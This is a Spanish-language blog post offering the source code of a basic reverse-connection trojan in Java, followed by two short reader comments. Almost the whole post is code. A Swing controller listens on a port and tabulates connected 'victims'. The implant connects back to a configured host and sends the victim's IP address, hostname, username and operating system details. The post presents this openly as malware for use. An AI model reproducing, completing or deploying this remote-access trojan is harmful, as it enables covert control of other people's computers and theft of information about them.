Codigo fuente de un troyano conexión inversa en java [Basico]

Cliente

import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JPopupMenu;
import javax.swing.JScrollPane;
import javax.swing.JTextField;
import javax.swing.UnsupportedLookAndFeelException;
/**
 * 
 * @author leyer
 *
 */
class User extends Thread{
   private boolean connected      = true;
   private java.net.Socket socket = null;
   private Client          client = null;
   @SuppressWarnings("unused")
   private int             id     = 0;
   
   private java.io.PrintWriter    printWriter     = null; 
   private java.io.BufferedReader bufferedReader  = null; 
   private String[]               userinformation = null; 
   
   public User(Client client,java.net.Socket socket,int id){
      this.client = client;
      this.socket = socket;
      this.id     =id     ;
      userinformation = new String[7];
      InOut();
   }
   public void writer(String command){ 
      printWriter.println(command);
      printWriter.flush();
   }
   private final void InOut(){ 
      try {
         printWriter = new java.io.PrintWriter(socket.getOutputStream());
         bufferedReader = new java.io.BufferedReader(
               new java.io.InputStreamReader(socket.getInputStream()));
      } catch (java.io.IOException e) {e.printStackTrace();
      }
   }
   private void sleep(int time){
      try {
         Thread.sleep(time);
      } catch (InterruptedException e) {
         e.printStackTrace();
      }
   }
   public static final int DELAY = 70;
   boolean active = false;
   @Override
   public synchronized void run(){
      while(connected){
         try {
            if(bufferedReader.ready()){
               String command =bufferedReader.readLine();
               if(command.equalsIgnoreCase("NEW")){
                  String _command = bufferedReader.readLine();
                  java.util.StringTokenizer tokenizer = new java.util.StringTokenizer(_command,"?");
                       int index=0;
                       while(tokenizer.hasMoreElements()){
                          userinformation [index]=tokenizer.nextToken();
                          index++;
                       }
                       client.addUser( userinformation[0],  userinformation[1],
                                   userinformation[2],  userinformation[3],
                                   userinformation[4],  userinformation[5],
                                   userinformation[6]
                                          );
                       active = true;
                       continue; 
                   }
            }
         } catch (java.io.IOException e) {e.printStackTrace();
         }
         sleep(DELAY);
      }
   }
}
class socket extends java.net.ServerSocket implements Runnable{
   private java.net.Socket socket = null;
   private Client client          = null;
   public socket(int port, int backlog,Client client) throws java.io.IOException {
      super(port, backlog);
      this.client = client;
   }
   private java.util.Hashtable hashtableUsers = new java.util.Hashtable();
   private boolean activated = true;
   @Override
   public synchronized void run() {
      int n = 0;
      while(activated){
         try {
            this.socket = accept();
               User user = new User(client,socket,n);
                  user.start();
                  hashtableUsers.put(socket.getInetAddress(), user);
              } catch (java.io.IOException e) {break;
         }
      }
   }
   public void _stop() {
      try {
         this.close();
      } catch (java.io.IOException e) {
         e.printStackTrace();
      }
   }   
}
class TableModelMain extends javax.swing.table.DefaultTableModel {
   private static final long serialVersionUID = 1L;
    public TableModelMain(){
    addColumn("ID");
    addColumn("IP Remota");
    addColumn("PC");
    addColumn("Administrador");
    addColumn("OS");
    addColumn("Version");
    addColumn("Puerto");   
    }
    @Override
    public boolean isCellEditable(int row, int column) {
       return false;
    }
    public void add( String ID,
                  String IP,
                  String PC,
                  String ADMIN,
                  String OS,
                  String V,
                  String PORT) {
        Object[] obj = {ID,IP,PC,ADMIN,OS,V,PORT};
        super.addRow(obj);
    }
}
public class Client extends javax.swing.JFrame implements java.awt.event.ActionListener{
   private TableModelMain             modelMain     = null;
   private javax.swing.JTable         table         = null;
   private JTextField                 textFieldPort = null;
   private javax.swing.JButton        buttonInit    = null;
   
   private socket socket                            = null;
   private JMenuBar menuBar = new JMenuBar();
   @Override
   
   public void actionPerformed(java.awt.event.ActionEvent arg0) {
      try {
         if(arg0.getActionCommand().equalsIgnoreCase("stop")){socket._stop();buttonInit.setText("Iniciar");
         textFieldPort.setEnabled(true);}else{
         socket  = new socket(Integer.parseInt(textFieldPort.getText()),100,this);
         new Thread(socket).start();
         textFieldPort.setEnabled(false);
         buttonInit.setText("Stop");
         }
      } catch (NumberFormatException e) {
         e.printStackTrace();
      } catch (java.io.IOException e) {
         e.printStackTrace();
      }   
   }
   private static final long serialVersionUID = 1L;
   
   public void addUser(String ID, String IP, String PC, String ADMIN,
                     String OS, String  V, String PORT) {
      modelMain.add(ID, IP, PC, ADMIN, OS, V, PORT);
   }
   public Client() {
   modelMain = new TableModelMain();
   
   table = new javax.swing.JTable(modelMain);
   table.setBackground(Color.WHITE);
   
   JScrollPane scrollPane = new JScrollPane(table);
   table.setFillsViewportHeight(true);
      this.setLayout(new java.awt.BorderLayout());
      textFieldPort = new JTextField(5);
      javax.swing.JPanel panel = new javax.swing.JPanel(new  java.awt.FlowLayout( java.awt.FlowLayout.LEFT));
      panel.add(new javax.swing.JLabel("Puerto: "));
         panel.add(textFieldPort);
         buttonInit     = new javax.swing.JButton("Iniciar");
       
         buttonInit.addActionListener(this);
         panel.add(buttonInit);
         
         menuBar = new JMenuBar();
         menuBar.add(new JMenu("Archivo"));
         setJMenuBar(menuBar);
         
         JPopupMenu popupMenu = new JPopupMenu();
         JMenuItem item = new JMenuItem("Funcion 1");
         popupMenu.add(item);
         table.setComponentPopupMenu(popupMenu);
   getContentPane().add(panel,java.awt.BorderLayout.NORTH);
   getContentPane().add(scrollPane,java.awt.BorderLayout.CENTER);
   initFrame();
   }
   private final void initFrame(){
      this.setSize(800,300);
      this.setVisible(true);   
   }
   public static void main(String[] args) throws ClassNotFoundException,
   InstantiationException,
   IllegalAccessException,
   UnsupportedLookAndFeelException
   {
    javax.swing.UIManager.setLookAndFeel( javax.swing.UIManager.getSystemLookAndFeelClassName());
      new Client().setDefaultCloseOperation(javax.swing.JFrame.EXIT_ON_CLOSE);
   }
}

Server

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;

/**
 * 
 * @author leyer
 *
 */
interface config{
   public static final int    port       = 8086;
   public static final String host    = "localhost";
}
public class server extends Thread{
   private Socket socket  = null;
   private boolean active = true;
   
   private PrintWriter    printWriter = null;
   private BufferedReader reader      = null;
   @Override
   public synchronized void run(){
      while(active){
         try {
            if(reader.ready()){
            
            }
         } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
         }
         try {
            Thread.sleep(70);
         } catch (InterruptedException e) {
            e.printStackTrace();
         }
      }
   }
   private final void writer(String command){
      printWriter.println(command);
      printWriter.flush();
   }
   private final void sendInformation() {
      try {
         final InetAddress address = InetAddress.getLocalHost();
         this.writer("NEW");
            this.writer("victima" + "?" + address.getHostAddress() + "?"
               + address.getCanonicalHostName() + "?"
               + System.getProperty("user.name") + "?"
               + System.getProperty("os.name") + "?"
               + System.getProperty("os.version") + "?" + config.port);
      } catch (Exception e) {
         System.err.println(e);
      }
   }
   public server(){
   try {
      this.socket = new Socket(config.host,config.port);
      inOut();
      sendInformation();
   } catch (UnknownHostException e) {
      e.printStackTrace();
   } catch (IOException e) {
      e.printStackTrace();
       }   
   this.start();
   }
   private final void inOut() throws IOException{
      printWriter = new PrintWriter(socket.getOutputStream());
      reader = new BufferedReader(
                           new InputStreamReader(socket.getInputStream()));
   }
   /**
    * @param args
    */
   public static void main(String[] args) {
   new server();
   }
}
Anuncios

3 Responses to “Codigo fuente de un troyano conexión inversa en java [Basico]”

  1. =O Muy basico que digamos.
    http://egyware.wordpress.com/2010/01/27/programando-un-servidor-simple-con-conexion-alternada-parte-1/
    Mira este post le aplique estilo al codigo fuente de java. De todas formas se asi asi

    //tu codigo

    Bueno saludos y buen blog men 😉

  2. Thank you for every other magnificent post. Where else
    may just anybody get that type of information in such a perfect means
    of writing? I’ve a presentation subsequent week, and I am at the search for such information.

Trackbacks

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: